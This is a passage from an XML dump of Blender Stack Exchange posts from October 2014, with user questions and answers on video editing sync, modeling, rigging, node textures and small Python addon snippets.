videos you can reimport the frames in the &lt;strong&gt;VSE&lt;/strong&gt; as image strip and render with the desired fps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YtJWG.png&quot; alt=&quot;Before and after time stretching&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2859" LastEditorUserId="2859" LastEditDate="2014-10-14T17:15:48.903" LastActivityDate="2014-10-14T17:15:48.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17790" PostTypeId="1" CreationDate="2014-10-14T20:20:59.660" Score="5" ViewCount="489" Body="&lt;p&gt;I've captured some .mkv files with Simple Screen Recorder (SSR).&#xA;When I watch these individual files, they play fine in Mplayer. The sound and image are in perfect sync. I hear clicks from my mouse and they match with actions on the screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While editing (A/V Sync is on) in Blender's Video Sequence Editor (VSE) it all seems rather fine - I can not play it back smoothly from Blender (640x480@60FPS, h.264 losless, stereo FLAC audio), but it doesn't seem to float too much. Just a little, especially when I start in the middle of a clip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I rendered the movie, and the sound is completely off with timing in relation to the motion picture. It's floating around by a couple of seconds (an event happens, a few seconds later I hear sounds that were related to the event I saw earliest etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried re-rendering the movie after enabling and generating timecode (Free run mode) for all movie clips. It didn't help at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is happening? Is this a bug? I'm having these sync issues for years now.&lt;/p&gt;&#xA;" OwnerUserId="5650" LastEditorUserId="2217" LastEditDate="2014-10-14T20:43:13.033" LastActivityDate="2014-10-19T00:39:29.927" Title="(v. 2.72) Input movie's audio/video is in sync, but VSE output is floating and desynchronized between audio and video" Tags="&lt;video-sequence-editor&gt;&lt;video&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17792" PostTypeId="1" AcceptedAnswerId="17794" CreationDate="2014-10-14T21:36:29.737" Score="4" ViewCount="530" Body="&lt;p&gt;The normal Extrude works like this: take selected geometry and move to another place. But I need something that leaves the selected geometry where it is and duplicates it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I noticed that when you extrude a simple plane it generates a cube. How do I achieve that but just with a larger pool of polygons?&lt;/p&gt;&#xA;" OwnerUserId="5980" LastEditorUserId="599" LastEditDate="2014-10-14T22:09:05.097" LastActivityDate="2014-10-14T22:09:05.097" Title="Is there a Solidify Extrude function?" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17793" PostTypeId="1" CreationDate="2014-10-14T21:38:19.843" Score="5" ViewCount="4716" Body="&lt;p&gt;The idea here is for the control points to have the same location as two vertices from a different object, so that when I draw the curve I want, convert it to mesh, and add it to that object, I can snap it into place with minimal effort.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, some clarification on including one object into another so the snapping can take place would be nice.&lt;/p&gt;&#xA;" OwnerUserId="7496" LastActivityDate="2014-10-14T22:00:44.897" Title="Drawing a Bezier curve from two vertices" Tags="&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17794" PostTypeId="2" ParentId="17792" CreationDate="2014-10-14T21:38:31.633" Score="4" Body="&lt;p&gt;Try &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;F&lt;/kbd&gt;&lt;em&gt;&gt; Solidify&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BYJiJ.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that in many cases (including the example in the gif), this will probably result in &lt;a href=&quot;https://blender.stackexchange.com/questions/7910/what-is-non-manifold-geometry&quot;&gt;non-manifold geometry&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2014-10-14T21:45:48.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17795" PostTypeId="2" ParentId="17793" CreationDate="2014-10-14T22:00:28.353" Score="7" Body="&lt;p&gt;You can snap to other object's vertices just fine..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, just enable &lt;em&gt;vertex snapping&lt;/em&gt; in the header, then hold &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt; while transforming vertices to snap:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VnAEo.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have the curve positioned, convert it to a mesh with &lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;&lt;em&gt;&gt; Mesh&lt;/em&gt; and join it to your mesh object by selecting both objects and pressing &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt;. Note that you probably want your main mesh object to be active (last selected, with yellow outline) when you do this, so the resulting object has all the object data, modifiers, and materials that your mesh object had.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-10-14T22:00:28.353" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17797" PostTypeId="1" AcceptedAnswerId="17800" CreationDate="2014-10-14T23:04:46.740" Score="5" ViewCount="1531" Body="&lt;p&gt;I have been writing an addon that utilizes an imported image.  So far the only way to import was to to to the UV/Image Editor and import the image. Then copy the name of the imported image to a text input in my addon.  This is cumbersome and I would rather have something that looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://dl.dropboxusercontent.com/u/76236043/imgs/image.PNG&quot; alt=&quot;Image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From which I can access the image through&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.images[&amp;lt;image name here&amp;gt;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this possible to do? I have only been successful in accessing the image path, but that won't work for my script.&lt;/p&gt;&#xA;" OwnerUserId="5505" LastEditorUserId="5705" LastEditDate="2015-12-14T18:19:36.570" LastActivityDate="2015-12-14T18:19:36.570" Title="Add an image import button in addon" Tags="&lt;python&gt;&lt;interface&gt;&lt;image&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17800" PostTypeId="2" ParentId="17797" CreationDate="2014-10-15T01:53:21.460" Score="6" Body="&lt;p&gt;You can get access to the file browser in Blender by using the StringProperty with the subtype &quot;FILE_PATH&quot;. As documented &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_72_release/bpy.props.html&quot;&gt;here&lt;/a&gt;. And example of using this would be &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;file_path = StringProperty(name = &quot;File&quot;, subtype = &quot;FILE_PATH&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you can just use file_path like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.images.load(file_path) #most of the time you will have to do self.file_path&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you need to use that image elsewhere just set all that equal to a variable.&lt;/p&gt;&#xA;" OwnerUserId="2617" LastActivityDate="2014-10-15T01:53:21.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17801" PostTypeId="2" ParentId="17788" CreationDate="2014-10-15T02:02:48.810" Score="3" Body="&lt;p&gt;&lt;em&gt;I noticed that your file was made in 2.49. This is a very old version of blender, and &lt;a href=&quot;https://blender.stackexchange.com/q/6744/599&quot;&gt;I &lt;strong&gt;very&lt;/strong&gt; highly recommend&lt;/a&gt; that you &lt;a href=&quot;http://www.blender.org/download/&quot; rel=&quot;nofollow noreferrer&quot;&gt;update to a new version&lt;/a&gt; if possible.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Using some rather aggressive decimate modifiers, I got it down to 75k while still looking fairly reasonable:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Uo3m0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a few dark spots where there seems to be some weirdly positioned vertices messing with the normals, but these should be &lt;a href=&quot;https://blender.stackexchange.com/a/5564/599&quot;&gt;pretty easy to fix with a touch of the smooth brush or the simplify brush&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I did:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Joined the two side curtains into one object.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To join objects, select them and press &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt;. The selected objects will be joined to the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Selecting#Selections_and_the_Active_Object&quot; rel=&quot;nofollow noreferrer&quot;&gt;active object&lt;/a&gt; (yellow outline):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6yLmu.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Applied the scale by selecting the objects and pressing &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&gt; Scale&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's &lt;a href=&quot;https://blender.stackexchange.com/q/7298/599&quot;&gt;usually a good idea to apply object transforms&lt;/a&gt; as a rule of thumb.&#xA;The objects have a scale of &lt;code&gt;.001&lt;/code&gt;. The object scale defines an offset which &lt;a href=&quot;https://blender.stackexchange.com/a/12289/599&quot;&gt;can be confusing&lt;/a&gt; and even cause precision problems in some cases.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Merged double vertices on each of the objects to close the small gap in the middle of the main curtain and the side curtains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To remove doubles, enter edit mode (&lt;kbd&gt;&amp;#8633; Tab&lt;/kbd&gt;), select the part which should be operated on (selecting everything with &lt;kbd&gt;A&lt;/kbd&gt; should be fine), and press &lt;kbd&gt;W&lt;/kbd&gt;&lt;em&gt;&gt; Remove doubles&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Nwxr8.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found that a threshold of about &lt;code&gt;.003&lt;/code&gt; worked pretty well in this case.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Added &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Decimate&quot; rel=&quot;nofollow noreferrer&quot;&gt;decimate modifiers&lt;/a&gt; to each object. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you can copy modifiers between objects with &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt;&lt;em&gt;&gt; Modifiers&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Here is the &lt;a href=&quot;http://www.pasteall.org/blend/32123&quot; rel=&quot;nofollow noreferrer&quot;&gt;resulting .blend&lt;/a&gt;. I've applied the modifiers, so it should open in 2.49 just fine.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2014-10-15T02:02:48.810" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17803" PostTypeId="1" CreationDate="2014-10-15T03:56:36.757" Score="3" ViewCount="764" Body="&lt;p&gt;I tried searching for this on google but I came up empty. I want to know how to lock the object 2 5 inches away from the corner of object 1? I want it to stay 5 inches away even if I re-scale.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I lock &quot;cube 2&quot; 5 inches away from the edge of object 1?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an image of what I want to do:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0pIyw.png&quot; alt=&quot;here is an image of what I want to do:&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&#xA;I want to offset &quot;cube 2&quot; 5 inches away from the bottom right vertex of &quot;cube 1&quot; no matter where &quot;cube 1&quot; is?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is so if I move or scale &quot;cube 1&quot;, &quot;cube 2&quot; would still be offset 5 inches from the bottom right vertex of &quot;cube 1&quot;.&lt;/p&gt;&#xA;" OwnerUserId="7501" LastEditorUserId="22990" LastEditDate="2016-06-10T10:17:02.173" LastActivityDate="2016-06-10T10:17:02.173" Title="How to lock object face a certain distance away from another object face?" Tags="&lt;modeling&gt;&lt;objects&gt;&lt;constraints&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17804" PostTypeId="1" CreationDate="2014-10-15T04:03:40.137" Score="1" ViewCount="30" Body="&lt;p&gt;So, what I did, was I was looking through the physics tab in the mesh editor, going through all of them, I press &quot;Rigid Body&quot;. I unchecked it (as I did all the others) and now my mesh will not go back to object mode. The faces don't show at least. I can render it and it will work perfectly, but I can't make it go out of this view and it's starting to bug me. &lt;a href=&quot;http://gyazo.com/6ad87d5a902d56c5712edf0c0453d127&quot; rel=&quot;nofollow&quot;&gt;http://gyazo.com/6ad87d5a902d56c5712edf0c0453d127&lt;/a&gt; I can go into edit mode and it will work normally, but this is in object mode with no modifiers, materials, perticles, nothing. If there is a setting that I might need to check, please tell me.&lt;/p&gt;&#xA;" OwnerUserId="7502" LastActivityDate="2014-10-15T04:03:40.137" Title="My mesh is stuck in lines mode, it renders with faces, but they don't show when editing" Tags="&lt;modeling&gt;" AnswerCount="0" CommentCount="0" ClosedDate="2014-10-15T04:09:53.023" ContentLicense="CC BY-SA 3.0" />
  <row Id="17805" PostTypeId="2" ParentId="17803" CreationDate="2014-10-15T04:34:00.903" Score="2" Body="&lt;p&gt;Set object2 origin point to its right bottom corner and you are free to scale in object mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select object2, go to edit mode, select right bottom vertex, &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt; &gt; Cursor to selected.&#xA;Return to object mode &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt; &gt; Origin to 3D cursor.  &lt;/p&gt;&#xA;" OwnerUserId="7474" LastEditorUserId="29" LastEditDate="2014-10-15T18:57:32.697" LastActivityDate="2014-10-15T18:57:32.697" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17807" PostTypeId="2" ParentId="17787" CreationDate="2014-10-15T07:07:40.477" Score="15" Body="&lt;p&gt;If you aren't going to see the ocean very close up, I wouldn't use the ocean modifier for this at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead you can probably get a reasonable result using a simple plane and some bump-mapping:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6jjAO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Uzk87.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Uzk87.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://blender.stackexchange.com/q/3223/599&quot;&gt;How can I create a convincing sea material in Cycles without using the ocean modifier?&lt;/a&gt; for more details.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;That said, if you still want to use the ocean modifier, you could try adding multiple &lt;em&gt;displace&lt;/em&gt; ocean modifiers with different settings after the initial modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try varying settings like the &lt;em&gt;time&lt;/em&gt;  and &lt;em&gt;spatial size&lt;/em&gt; between modifiers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example with three displace ocean modifiers after a generate ocean modifier, each with different a time and spatial size:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GPwRl.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2014-10-15T07:21:34.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17808" PostTypeId="2" ParentId="17763" CreationDate="2014-10-15T07:37:06.707" Score="1" Body="&lt;p&gt;I found it very useful to work with &quot;free rotate&quot;. You select a bone in pose mode and you press  R, R. First R for rotate, second R for free rotate. You get a very natural way of rotating that way. &lt;/p&gt;&#xA;" OwnerUserId="7504" LastActivityDate="2014-10-15T07:37:06.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17809" PostTypeId="1" AcceptedAnswerId="17813" CreationDate="2014-10-15T07:41:50.793" Score="4" ViewCount="242" Body="&lt;p&gt;Sometimes I set a keyframe and then start posing the next keyframe while forgetting to actually go to a new frame, so that when I realise my error my work is lost because on frame change everything snaps back to the last keyframe. Is there a way to circumvent this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Repost from: &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?350703-Changing-current-frame-without-updating-depsgraph&quot; rel=&quot;nofollow&quot;&gt;http://blenderartists.org/forum/showthread.php?350703-Changing-current-frame-without-updating-depsgraph&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7505" LastActivityDate="2014-10-15T22:39:29.547" Title="Changing current frame without updating depsgraph" Tags="&lt;animation&gt;&lt;interface&gt;&lt;keyframes&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17811" PostTypeId="2" ParentId="17750" CreationDate="2014-10-15T10:59:50.807" Score="2" Body="&lt;p&gt;Unlike a &quot;GUI&quot; toolkit that gives access to the objects drawing the items on screen, in blender we don't really have control of the display - we only say &quot;show a property here&quot;, blender then decides how it is displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The colour used to draw each item comes from the theme - keyed, driven or default colour is chosen within the c code that draws the items.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-10-15T10:59:50.807" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17813" PostTypeId="2" ParentId="17809" CreationDate="2014-10-15T13:52:14.033" Score="5" Body="&lt;p&gt;If you already modified things go ahead and create a new keyframe that overwrites the previous. Go to the dopesheet, select the newly created keyframe (by selecting the yellow diamond icon) and copy it (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;). Then press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt; a few times to undo the changes you had made in the pose and get your previous keyframe back. In the dopesheet move to a different frame and paste (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;V&lt;/kbd&gt;) the modified keyframe, now you have both keyframes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(But the easiest solution is to press the right arrow key so you are in a different frame before modifying anything...) &lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-10-15T22:39:29.547" LastActivityDate="2014-10-15T22:39:29.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17814" PostTypeId="1" AcceptedAnswerId="17824" CreationDate="2014-10-15T15:28:04.107" Score="1" ViewCount="1667" Body="&lt;p&gt;I'm having difficulty fixing a problem with the head/neck bones on a character I'm working on. I modified the character &quot;Elaine&quot; (a .blend that I downloaded from BlendSwap)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Elaine.blend: &lt;a href=&quot;http://www.pasteall.org/blend/32132&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/32132&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in order to create a new character &quot;Maria&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maria.blend: &lt;a href=&quot;http://www.pasteall.org/blend/32133&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/32133&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the process of making my modifications, I accidentally deleted the &quot;head&quot; bone in Maria's rig (unfortunately, I didn't realize I'd deleted it right away). By carefully inspecting the two rigs, I recreated the head bone in Maria's rig, and parented the bones as they are in the Elaine rig.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The repaired rig almost works. When I rotate the head bone around the global x-axis, the head moves in the same way as in the Elaine rig. However, when I rotate the bone around the global z-axis, her head doesn't rotate horizontally, instead it just twists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the correct behaviour (with the head bone highlighted):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/pic/show.php?id=78534&quot; rel=&quot;nofollow noreferrer&quot;&gt;Elaine with head bone highlighted http://www.pasteall.org/pic/show.php?id=78534&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here is the problematic behaviour:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/pic/show.php?id=78535&quot; rel=&quot;nofollow noreferrer&quot;&gt;Maria with head bone highlighted http://www.pasteall.org/pic/show.php?id=78535&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible for me to fix this rig or do I need to start over? I would greatly appreciate any rig-debugging tips other users could offer.&lt;/p&gt;&#xA;" OwnerUserId="5297" LastActivityDate="2014-10-15T19:15:25.747" Title="Head/Neck Rigging Problem" Tags="&lt;rigging&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17815" PostTypeId="1" AcceptedAnswerId="18090" CreationDate="2014-10-15T15:48:46.333" Score="4" ViewCount="1512" Body="&lt;p&gt;I have a node setup for a single image texture (actually its a set of images) tiled floor. For variance I grouped the spec, normal, occ images then rotated them randomly using the Object Info. The end result looks pretty good, but it I dont think the node setup is very efficient. If I want to change the image, I need to go into each group and manually change 4 images for the 4 different rotated tiles. Is there a way to change the rotation of an image AFTER the using the image texture node to make changing an image quicker?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked out a similar post &lt;a href=&quot;https://blender.stackexchange.com/questions/2100/different-image-textures-for-one-material-cycles&quot;&gt;here&lt;/a&gt;, but this is different because I want to rotate the same image, not replace it with a rotated image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ywMQN.jpg&quot; alt=&quot;Random tiles&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/W6Vju.png&quot; alt=&quot;Image Group setup&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/puorb.png&quot; alt=&quot;Node Setup&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/becAo.png&quot; alt=&quot;Rotation Group&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6327" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2020-04-22T08:42:06.177" Title="Rotating a single image texture for multiple instances" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;&lt;image&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="17816" PostTypeId="1" AcceptedAnswerId="17819" CreationDate="2014-10-15T16:07:19.517" Score="3" ViewCount="664" Body="&lt;p&gt;I have two sets of Operators. The first set, lets call it A, produce data. The second set, lets call it B, needs to read this data.&#xA;What possibilities do I have to store my data from set A, so it is accessable for the ones from B?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additional info:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The type of the data is a dictionary&lt;/li&gt;&#xA;&lt;li&gt;It is not neccessary to store it in the blender file to make it persistend for later use&lt;/li&gt;&#xA;&lt;li&gt;When Operators from A are called multiple times, the data shall be overwritten, so the Operarators from B always gets the latest data&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2478" LastActivityDate="2014-10-16T10:49:17.037" Title="Sharing data between Operators" Tags="&lt;python&gt;&lt;operator&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17817" PostTypeId="1" AcceptedAnswerId="17821" CreationDate="2014-10-15T16:53:23.983" Score="3" ViewCount="3410" Body="&lt;p&gt;I'm hoping this question builds on a previous question, &lt;a href=&quot;https://blender.stackexchange.com/questions/5064/batch-import-wavefront-obj&quot;&gt;Batch import Wavefront OBJ&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to batch import a bunch of .3ds files and export each of them to their own .js file (using the Three.js file importer/exporter addon). Is there a way to do this in Python? If so, how would I do this? I have 77 files to convert, so it wouldn't kill me to do it by hand, but I'd rather not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or should I find a non-Blender solution? There is an online tool called &lt;a href=&quot;http://www.greentoken.de/onlineconv/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Online 3D Model Converter&lt;/a&gt;. Unfortunately, the exports from this tool are not nearly as clean and small as those from Blender.&lt;/p&gt;&#xA;" OwnerUserId="1170" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2015-12-12T18:54:23.193" Title="How do I batch import one format, then export to another?" Tags="&lt;python&gt;&lt;export&gt;&lt;import&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17818" PostTypeId="1" CreationDate="2014-10-15T16:55:15.467" Score="3" ViewCount="4372" Body="&lt;p&gt;I'm using Blender 2.72 and I want to enable the experimental feature set, which supports OpenCL for my AMD/ATI graphics card (I know what the risks are of doing this). Googling it, I found a Blender Wiki page of 2.6x which said I have to change the feature set to experimental, in the render menu, right under the display options (&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Experimental_Features&quot; rel=&quot;nofollow noreferrer&quot;&gt;this is what I'm talking about&lt;/a&gt;). However, in my Blender 2.72 I don't have this option:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pRkTl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anyone help me to still get the experimental feature set to work?&lt;/p&gt;&#xA;" OwnerUserId="6122" LastActivityDate="2014-10-15T20:21:18.953" Title="Enable experimental features Blender 2.72" Tags="&lt;gpu&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17819" PostTypeId="2" ParentId="17816" CreationDate="2014-10-15T17:05:48.077" Score="5" Body="&lt;p&gt;A simple way is to use a global variable, although I don't recommend to make use of the &lt;code&gt;global&lt;/code&gt; keyword on a dict directly. I suggest to use a class instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class G:&#xA;    pass&#xA;&#xA;class OperatorA(...): ...&#xA;    G.your_dict = {&quot;foo&quot;: &quot;bar&quot;}&#xA;&#xA;class OperatorB(...): ...&#xA;    print(G.your_dict)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You may replace &lt;code&gt;pass&lt;/code&gt; with class variable declarations if B might try to access it before A sets it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class G:&#xA;    your_dict = {&quot;default&quot;: None}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the data is really related to let's say &lt;code&gt;OperatorA&lt;/code&gt;, you may also use that class instead of &lt;code&gt;G&lt;/code&gt;. Inside of a method in &lt;code&gt;OperatorA&lt;/code&gt;, you can either refer to the class via the explicit name, or via &lt;code&gt;self.__class__&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-10-15T17:05:48.077" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
